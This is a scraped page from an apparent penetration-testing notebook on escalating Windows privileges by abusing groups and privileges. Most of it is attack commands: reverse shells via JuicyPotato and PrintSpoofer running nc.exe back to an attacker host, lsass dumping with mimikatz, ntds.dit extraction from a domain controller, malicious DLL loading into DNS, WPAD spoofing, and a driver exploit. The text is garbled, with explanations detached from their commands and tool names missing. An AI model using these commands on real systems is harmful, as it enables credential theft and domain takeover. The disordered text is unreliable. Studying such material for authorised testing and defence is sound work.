Rednote
GuidebooksTerminalCode
  • Welcome!
  • Utility
    • General
    • Server
    • Transferring File
      • Main
      • Code
      • Miscellaneous
    • Reverse & Bind Shells
      • Havoc
    • Metasploit
    • Service
      • FTP (21)
      • SSH (22)
      • DNS (53)
      • HTTP/HTTPS (80-443)
      • SMTP (25-465-587)
      • POP3 (110-995)
      • IMAP (143-993)
      • MySQL (3306)
      • MSSQL (1433-2433)
      • SMB (139-445)
      • RDP (3389)
      • WinRM (5985-5986)
      • WMI (135)
      • LLMNR & NBT-NS (5355-137)
      • NFS (111-2049)
      • SNMP (161-162)
      • VNC (5900)
      • Rsync (873)
      • R-Service (512-513-514)
      • IPMI (623)
      • Oracle TNS (1521)
  • Pentesting Process
    • Information Gathering
      • Passive
      • Active
      • OSINT
    • Vulnerability
    • Web Attacks
      • GENERAL
      • Crawling/Spidering & Fuzzing
      • Information Disclosure
      • Command Injection
      • Unrestricted File Upload
      • File Inclusion/Path Traversal
      • Request Smuggling
      • Clickjacking
      • Web Cache Poisoning
      • Web Cache Deception
      • Insecure Deserialization
      • Prototype Pollution
      • OAuth 2.0
      • JWT
      • SQLi
        • sqlmap
      • NoSQLi
      • GraphQL
      • XSS
      • SSRF
      • XXE
      • IDOR
      • API
      • SSTI
      • CSRF
      • CORS
      • AJP
      • SSI
      • ESI
      • XSLT
      • Cloud
      • LLM Prompt Security
    • Software Attacks
      • Binary
      • Shellcode
      • AV Evasion & Obfuscation
    • Network Attacks
      • ARP Poisoning
      • Local DNS Cache Poisoning
      • Baby Local DoS
    • Crypto Attacks
      • Utility
      • RSA
      • DSA/DSS
      • PRNG
        • LGC
        • MT
        • LFSR
    • Misc Attacks
    • Social Engineering
    • Password Cracking
      • Wordlist
      • Offline
      • Online
    • Pivoting & Tunneling
    • Local Enumeration
      • Linux
      • Windows
    • Privilege Escalation
      • Linux
        • Linux Privilege Escalation with Groups
        • Linux Privilege Escalation with Library
      • Windows
        • Windows Privilege Escalation with Groups and Privileges
        • Windows Privilege Escalation with DLL Hijacking
    • Active Directory
      • Enumeration
      • Abuse ACL
      • Extract Hash & Password
      • Pass The Hash
      • Pass The Ticket
      • Overpass the Hash
      • Relay Attack
      • Password Spraying Attack
      • AS-REP Roasting
      • Kerberoasting
      • Silver Ticket
      • Golden Ticket
      • DC Synchronization
      • AD Certificates
      • Attacking Domain Trusts
    • Reports
      • Bug Bounty Report
    • CVE
      • Linux
      • Windows
    • OTHER
      • CMS
        • WordPress
        • Joomla
        • Drupal
      • Tomcat
      • Jenkins
      • Splunk
      • Web Service
      • Navigating Python Objects
      • JavaScript Deobfuscation
  • Extra
    • My Books
    • My Exploits
    • Compiled Binaries
Powered by GitBook
On this page
  • Full List
  • SeImpersonate & SeAssignPrimaryToken
  • JuicyPotato
  • PrintSpoofer
  • Metasploit
  • SeDebug
  • Dump lsass
  • Privileged Shell
  • SeTakeOwnership
  • SeBackupPrivilege (Backup Operators)
  • Read Sensitive Data
  • Get ntds.dit from DC
  • Event Log Readers
  • DnsAdmins
  • DLL Attack
  • WPAD Attck
  • Print Operators
  • Server Operators

Was this helpful?

  1. Pentesting Process
  2. Privilege Escalation
  3. Windows

Windows Privilege Escalation with Groups and Privileges

Contains the details of the topic Privilege Escalation/Windows/Groups and Privileges.

Last updated 2 months ago

Was this helpful?

SeImpersonate & SeAssignPrimaryToken

These privileges can be used to impersonate a privileged account such as SYSTEM. Often these privileges are found in services such as Web, SQL, etc. Named pipes are used for local and remote Inter-Process communication. You have to create a named pipe and convince a privileged process to connect. After connecting, with SeImpersonatePrivilege you can impersonate that account and perform operations in its security context.

JuicyPotato.exe -l <PORT> -p <PROGRAM> -a <ARG> -t * [-c <{clsid}>]

!! Set -c <{clsid}> if necessary.

ex.

JuicyPotato.exe -l 53375 -p c:\windows\system32\cmd.exe -a "/c c:\tools\nc.exe <IP> <PORT> -e cmd.exe" -t *

For Windows 10 and Server 2016/2019.

PrintSpoofer.exe -i -c powershell.exe

ex.

PrintSpoofer.exe -c "c:\tools\nc.exe <IP> <PORT> -e cmd"

In meterpreter session

load incognito
list_tokens -u  # to see token list
impersonate_token  “<GetFromDelegationToken>”

SeDebug

This privilege can be used to acquire sensitive information from system memory or elevate our privileges to SYSTEM.

Dump lsass

Task Manager > right click LSAProcess > Create dump file
procdump.exe -accepteula -ma lsass.exe lsass.dmp
mimikatz.exe
> sekurlsa::minidump lsass.dmp
> sekurlsa::logonpasswords

Privileged Shell

tasklist # take PID of winlogon.exe for example
. .\psgetsys.ps1
ImpersonateFromParentPid -ppid <PPID> -command <COMMAND> -cmdargs <ARGS>

SeTakeOwnership

With this privilege, a user could take ownership of any file or object and make changes that could result in access to sensitive data, RCE, or DoS.

takeown /f '<PATH_FILE>'
icacls <PATH_FILE> /grant <USER>:f

Read Sensitive Data

Import-Module .\SeBackupPrivilegeUtils.dll
Import-Module .\SeBackupPrivilegeCmdLets.dll
Set-SeBackupPrivilege
Copy-FileSeBackupPrivilege <SOURCE> <DESTINATION>
cat <DESTINATION> 

Get ntds.dit from DC

diskshadow.exe 
> set verbose on 
> set metadata C:\Windows\Temp\meta.cab 
> set context clientaccessible 
> set context persistent 
> begin backup 
> add volume C: alias cdrive 
> create 
> expose %cdrive% E: 
> end backup 
> exit

Now we copy the ntds.dit file from drive E which, unlike the one in C, is not used by another process and therefore readable.

Copy-FileSeBackupPrivilege E:\Windows\NTDS\ntds.dit C:\ntds.dit
robocopy /B E:\Windows\NTDS .\ntds ntds.dit

In PowerShell

wevtutil qe Security /rd:true /f:text | Select-String "/user"
wevtutil qe Security /rd:true /f:text /r:<REMOTE_PC> /u:<USER> /p:<PASS> | Select-String "/user"
Get-WinEvent -LogName security | where { $_.ID -eq 4688 -and $_.Properties[8].Value -like '*/user*' } | ForEach-Object { $_.Properties[8].Value }

DLL Attack

Create DLL

msfvenom -p windows/x64/exec cmd='<COMMAND>' -f dll -o <NAME>.dll

Load DLL

# Locally
dnscmd.exe /config /serverlevelplugindll <FULL_PATH_TO_DLL>
# Remotely
dnscmd.exe <DNS_SERVER> /config /serverlevelplugindll \\<MY_COMPUTER/IP>\<FULL_PATH_TO_DLL>
# check
Get-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Services\DNS\Parameters\ -Name ServerLevelPluginDll

Restart DNS

Or wait for reboot if you don't have permissions.

# Locally 
sc.exe stop dns
sc.exe start dns
# Remotely
sc.exe \\<DNS_SERVER> stop dns
sc.exe \\<DNS_SERVER> start dns

Cleaning Up

Must be taken from an elevated console with a local or domain admin account. Until our custom DLL is removed, we will not be able to properly start the DNS service again.

# Check
reg query \\<IP>\HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters
# Remove
reg delete \\<IP>\HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters /v ServerLevelPluginDll
# Restart
sc.exe start dns 
sc.exe query dns # check if state is running

WPAD Attck

# Disabling the Global Query Block List 
Set-DnsServerGlobalQueryBlockList -Enable $false -ComputerName dc01.inlanefreight.local
# Adding a WPAD Record
Add-DnsServerResourceRecordA -Name wpad -ZoneName inlanefreight.local -ComputerName dc01.inlanefreight.local -IPv4Address 10.10.14.3

Grants its members the SeLoadDriverPrivilege. If we issue the command whoami /priv, and don't see the SeLoadDriverPrivilege from an unelevated context, we will need to bypass UAC. Alternatively, from a GUI, we can open an administrative command shell.

EoPLoadDriver.exe System\CurrentControlSet\Capcom c:\<PATH>\Capcom.sys
.\ExploitCapcom.exe

Note: Since Windows 10 Version 1803, the "SeLoadDriverPrivilege" is not exploitable, as it is no longer possible to include references to registry keys under "HKEY_CURRENT_USER".

The Server Operators group allows members to administer Windows servers without needing assignment of Domain Admin privileges. It is a very highly privileged group that can log in locally to servers, including Domain Controllers. Membership of this group confers the powerful SeBackupPrivilege and SeRestorePrivilege privileges and the ability to control local services.

Querying Service

sc.exe qc AppReadiness
sc.exe qc VMTools

Modifying the Service Binary Path

sc.exe config AppReadiness binPath= "cmd /c <COMMAND>"
sc.exe config VMTools binPath= "cmd /c <COMMAND>"

Start the service

sc.exe stop AppReadiness
sc.exe start AppReadiness
sc.exe stop VMTools
sc.exe start VMTools

The service startup fails, as expected, but the command will be executed correctly.

or with

Then extract hashes with or

With

SeBackupPrivilege ()

The SeBackupPrivilege allows us to traverse any folder and list the folder contents. This will let us copy a file from a folder, even if there is no access control entry (ACE) for us in the folder's access control list (ACL). However, we can't do this using the standard copy command. Instead, we need to programmatically copy the data, making sure to specify the flag.

With

Shadow copy of the drive with

Or with

Many Windows commands support passing a password as a parameter, and if process command line checking is enabled, this sensitive information will be captured. If you are part of the Event Log Readers group we can query Windows events from the command line using the utility and the PowerShell Get-WinEvent cmdlet looking for sensitive information.

The DNS service is run with SYSTEM privileges. If you are part of the DnsAdmin group you can use the utility to load a custom DLL with zero verification. When DNS is restarted, the DLL will be executed. the following attack can be executed when DNS is run on a Domain Controller (which is very common)

Or enter system(“<COMMAND>”); under fclose in and compile the project to get the modified mimilib.dll. The payload is executed for each query to the DNS service and all DNS queries will be logged in C:\Windows\system32\kiwidns.log

We need to disable the global query block list and creating a WPAD record. Every machine running WPAD with default settings will have its traffic proxied through our attack machine. We could use a tool such as or to perform traffic spoofing, and attempt to capture password hashes and crack them offline or perform an SMBRelay attack.

Download the driver. Use to automate the process of enabling the privilege, creating the registry key, and executing NTLoadDriver to load the driver.

Use to explit Capcom.sys

If we do not have GUI access to the target, we will have to modify the ExploitCapcom.cpp code before compiling, line 292, with payload.

JuicyPotato
PrintSpoofer
Metasploit
procdump.exe
mimikatz
pypykatz
psgetsystem
Backup Operators
FILE_FLAG_BACKUP_SEMANTICS
SeBackupPrivilege
diskshadow.exe
robocopy
Event Log Readers
wevtutil
DnsAdmins
dnscmd
kdns.c
Responder
Inveigh
Print Operators
Capcom.sys
EoPLoadDriver
ExploitCapcom
msfvenom
Server Operators
Full List
Appendix B - Privileged Accounts and Groups in Active DirectoryMicrosoftLearn
Logo